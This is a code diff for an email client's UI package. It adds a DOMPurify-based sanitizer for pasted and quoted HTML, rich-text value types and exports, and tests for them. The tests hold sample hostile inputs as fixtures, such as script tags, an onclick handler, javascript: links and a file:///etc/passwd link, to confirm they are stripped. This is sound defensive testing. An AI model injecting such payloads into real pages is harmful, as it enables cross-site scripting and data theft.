+ * not the editor's own JSON, which changes shape between Lexical versions.
+ * `text` is the plain alternative, as Markdown over the same document.
+ *
+ * Kept apart from the editor so a caller can name the shape without pulling
+ * the editor, and its dependencies, out of their own chunk.
+ */
+export interface RichTextValue {
+	html: string;
+	text: string;
+}
+
+export const EMPTY_RICH_TEXT: RichTextValue = { html: "", text: "" };

package/src/index.ts

@@ -442,6 +442,10 @@ export {
 	ResizablePanel,
 	ResizablePanelGroup,
 } from "./components/resizable.js";
+export {
+	EMPTY_RICH_TEXT,
+	type RichTextValue,
+} from "./components/rich-text-value.js";
 export {
 	APPOINTABLE_ROLES,
 	type CandidateFolder,
@@ -633,6 +637,10 @@ export {
 	flaggedFilterConfig,
 	inboxFilterConfig,
 } from "./filter-presets.js";
+export {
+	sanitizeAdoptedHtml,
+	sanitizeQuotedHtml,
+} from "./lib/adopted-html.js";
 export {
 	buildCidResolver,
 	type CidResolvableBodyPart,

package/src/lib/adopted-html.test.ts

@@ -0,0 +1,134 @@
+/**
+ * The paste profile decides what a message this app sends may contain. It runs
+ * over content nobody here wrote — a web page, another mail client, Word — so
+ * the fixtures below are the shapes those actually put on the clipboard.
+ */
+import assert from "node:assert/strict";
+import { before, describe, it } from "node:test";
+import type { JSDOM } from "jsdom";
+import type {
+	sanitizeAdoptedHtml as SanitizeAdoptedHtml,
+	sanitizeQuotedHtml as SanitizeQuotedHtml,
+} from "./adopted-html.js";
+
+let sanitizeAdoptedHtml: typeof SanitizeAdoptedHtml;
+let sanitizeQuotedHtml: typeof SanitizeQuotedHtml;
+
+before(async () => {
+	const { JSDOM: JSDOMCtor } = await import("jsdom");
+	const dom: JSDOM = new JSDOMCtor(
+		"<!doctype html><html><body></body></html>",
+		{ url: "http://localhost/" },
+	);
+	globalThis.window = dom.window as unknown as typeof globalThis.window;
+	globalThis.document = dom.window.document;
+	({ sanitizeAdoptedHtml, sanitizeQuotedHtml } = await import(
+		"./adopted-html.js"
+	));
+});
+
+describe("sanitizeAdoptedHtml", () => {
+	it("keeps the structure a pasted document is made of", () => {
+		const result = sanitizeAdoptedHtml(
+			[
+				"<h2>Quarterly numbers</h2>",
+				"<ul><li>Revenue up</li><li>Costs flat</li></ul>",
+				"<table><thead><tr><th>Region</th><th>Total</th></tr></thead>",
+				'<tbody><tr><td colspan="2">EMEA 412</td></tr></tbody></table>',
+				"<blockquote><p>As discussed</p></blockquote>",
+				"<pre><code>npm run build</code></pre>",
+				"<hr>",
+			].join(""),
+		);
+
+		assert.match(result, /<h2>Quarterly numbers<\/h2>/);
+		assert.match(result, /<li>Revenue up<\/li>/);
+		assert.match(result, /<th>Region<\/th>/);
+		assert.match(result, /colspan="2"/);
+		assert.match(result, /<blockquote>/);
+		assert.match(result, /<pre>/);
+		assert.match(result, /<hr>/);
+	});
+
+	it("keeps each div on its own line", () => {
+		const result = sanitizeAdoptedHtml("<div>first</div><div>second</div>");
+		assert.match(result, /<div>first<\/div><div>second<\/div>/);
+	});
+
+	it("drops script, style and the presentation a receiving client rewrites", () => {
+		const result = sanitizeAdoptedHtml(
+			[
+				"<style>.x{color:red}</style>",
+				"<script>alert(1)</script>",
+				'<p class="x" id="y" data-track="z" style="color:red" onclick="steal()">Hello</p>',
+				'<span style="font-size:48px">world</span>',
+			].join(""),
+		);
+
+		assert.equal(result.includes("<script"), false);
+		assert.equal(result.includes("<style"), false);
+		assert.equal(result.includes("color:red"), false);
+		assert.equal(result.includes("onclick"), false);
+		assert.equal(result.includes("class="), false);
+		assert.equal(result.includes("data-track"), false);
+		assert.match(result, /Hello/);
+		assert.match(result, /world/);
+	});
+
+	it("drops Word's conditional markup and comments", () => {
+		const result = sanitizeAdoptedHtml(
+			"<!--[if gte mso 9]><xml><w:WordDocument/></xml><![endif]--><p>Memo</p>",
+		);
+		assert.equal(result.includes("WordDocument"), false);
+		assert.match(result, /<p>Memo<\/p>/);
+	});
+
+	it("keeps mail and web links and defuses every other scheme", () => {
+		const result = sanitizeAdoptedHtml(
+			[
+				'<a href="https://example.com/a">web</a>',
+				'<a href="mailto:ada@example.com">mail</a>',
+				'<a href="javascript:alert(1)">bad</a>',
+				'<a href="file:///etc/passwd">local</a>',
+			].join(""),
+		);
+
+		assert.match(result, /href="https:\/\/example.com\/a"/);
+		assert.match(result, /href="mailto:ada@example.com"/);
+		assert.equal(result.includes("javascript:"), false);
+		assert.equal(result.includes("file:"), false);
+		assert.match(result, /bad/);
+	});
+
+	it("keeps images the recipient can actually load", () => {
+		const result = sanitizeAdoptedHtml(
+			[
+				'<img src="https://example.com/logo.png" alt="Logo">',
+				'<img src="data:image/png;base64,iVBORw0KGgo=" alt="Inline">',
+				'<img src="http://example.com/tracker.gif" alt="Tracker">',
+				'<img src="cid:part1" alt="Attached">',
+			].join(""),
+		);
+
+		assert.match(result, /src="https:\/\/example.com\/logo.png"/);
+		assert.match(result, /src="data:image\/png;base64,/);
+		assert.equal(result.includes("tracker.gif"), false);
+		assert.equal(result.includes("cid:part1"), false);
+	});
+});
+
+describe("sanitizeQuotedHtml", () => {
+	it("sends a quoted link to its own context", () => {
+		const result = sanitizeQuotedHtml('<a href="https://example.com">go</a>');
+		assert.match(result, /target="_blank"/);
+		assert.match(result, /rel="noopener noreferrer nofollow"/);
+	});
+
+	it("applies the same allowlist as an ordinary paste", () => {
+		const result = sanitizeQuotedHtml(
+			'<p style="color:red">Hi</p><script>alert(1)</script>',
+		);
+		assert.equal(result.includes("<script"), false);
+		assert.equal(result.includes("color:red"), false);
+	});
+});

package/src/lib/adopted-html.ts

@@ -0,0 +1,123 @@
+import DOMPurify from "dompurify";
+
+/**
+ * Adopted content is HTML from outside — a paste, a quoted reply — that becomes
+ * part of a message this app sends under the user's name. That is the opposite
+ * case from `createEmailSanitizer`, which renders untrusted mail inside a
+ * sandboxed frame and keeps author `style`, `bgcolor` and `<style>` so a
+ * newsletter still looks like itself. Output this app signs has to survive the
+ * sanitizer of every receiving client, so it keeps structure and drops
+ * presentation.
+ */
+const ADOPTED_TAGS = [
+	"p",
+	"br",
+	// A web page and a Gmail clipboard put each line in its own `div`. Unwrapped,
+	// those lines arrive as one run of adjacent text and the editor merges them
+	// into a single paragraph; kept, Lexical's HTML import reads each one as its
+	// own block.
+	"div",
+	"h1",
+	"h2",
+	"h3",
+	"h4",
+	"h5",
+	"h6",
+	"strong",
+	"b",
+	"em",
+	"i",
+	"u",
+	"s",
+	"ul",
+	"ol",
+	"li",
+	"blockquote",
+	"pre",
+	"code",
+	"hr",
+	"table",
+	"thead",
+	"tbody",
+	"tr",
+	"th",
+	"td",
+	"a",
+	"img",
+];
+
+const ADOPTED_ATTR = ["href", "src", "alt", "colspan", "rowspan"];
+
+const LINK_SCHEMES = /^(?:https?:|mailto:)/i;
+const IMAGE_SCHEMES = /^(?:https:|data:image\/)/i;
+
+/**
+ * `"quoted"` is mail rendered back at its sender, and it renders in the app's
+ * own document rather than in the reading pane's sandboxed frame. A link in it
+ * would otherwise navigate the app window itself to wherever the sender points,
+ * and launched from a home screen there is no address bar and no back button to
+ * return from that — so quoted links leave for a separate context and take no
+ * handle on this one with them. Images are dropped outright there: the frame's
+ * remote-content gate does not cover this document, and loading one tells the
+ * sender when the reply was opened.
+ */
+type Profile = "outgoing" | "quoted";
+
+const createPurifier = (profile: Profile): ReturnType<typeof DOMPurify> => {
+	const instance = DOMPurify();
+	if (!instance.isSupported) {
+		throw new Error("adopted HTML cannot be sanitized: no DOM is available");
+	}
+	instance.addHook("afterSanitizeAttributes", (node) => {
+		if (node.tagName === "A") {
+			if (!LINK_SCHEMES.test(node.getAttribute("href") ?? "")) {
+				node.removeAttribute("href");
+			}
+			if (profile === "quoted") {
+				node.setAttribute("target", "_blank");
+				node.setAttribute("rel", "noopener noreferrer nofollow");
+			}
+			return;
+		}
+		if (node.tagName !== "IMG") return;
+		if (profile === "quoted") {
+			node.remove();
+			return;
+		}
+		if (!IMAGE_SCHEMES.test(node.getAttribute("src") ?? "")) node.remove();
+	});
+	return instance;
+};
+
+const purifiers = new Map<Profile, ReturnType<typeof DOMPurify>>();
+
+const purifier = (profile: Profile): ReturnType<typeof DOMPurify> => {
+	const existing = purifiers.get(profile);
+	if (existing) return existing;
+	const created = createPurifier(profile);
+	purifiers.set(profile, created);
+	return created;
+};
+
+const sanitize = (html: string, profile: Profile): string =>
+	purifier(profile).sanitize(html, {
+		ALLOWED_TAGS: ADOPTED_TAGS,
+		ALLOWED_ATTR: ADOPTED_ATTR,
+		// Both default to true and are honoured outside ALLOWED_ATTR, so a
+		// `data-` or `aria-` attribute would otherwise ride along — which is where
+		// a web page keeps its own framework's state.
+		ALLOW_DATA_ATTR: false,
+		ALLOW_ARIA_ATTR: false,
+	});
+
+/**
+ * The paste profile: what may enter — and leave — a document this app sends.
+ * It runs on the way in over a clipboard, and again on the way out over the
+ * editor's own serialization, which carries the app's stylesheet with it.
+ */
+export const sanitizeAdoptedHtml = (html: string): string =>
+	sanitize(html, "outgoing");
+
+/** The same profile for mail quoted back at its sender, links and images defanged. */
+export const sanitizeQuotedHtml = (html: string): string =>
+	sanitize(html, "quoted");

package/src/rich-text.ts

@@ -0,0 +1,13 @@
+/**
+ * The rich-text editor and nothing else. Its own entry point so an app can load
+ * it on demand: reached through the package barrel it would land in whichever
+ * chunk already imports `@remit/ui`, which is every screen.
+ */
+export {
+	RichTextEditor,
+	type RichTextEditorProps,
+} from "./components/rich-text-editor.js";
+export {
+	EMPTY_RICH_TEXT,
+	type RichTextValue,
+} from "./components/rich-text-value.js";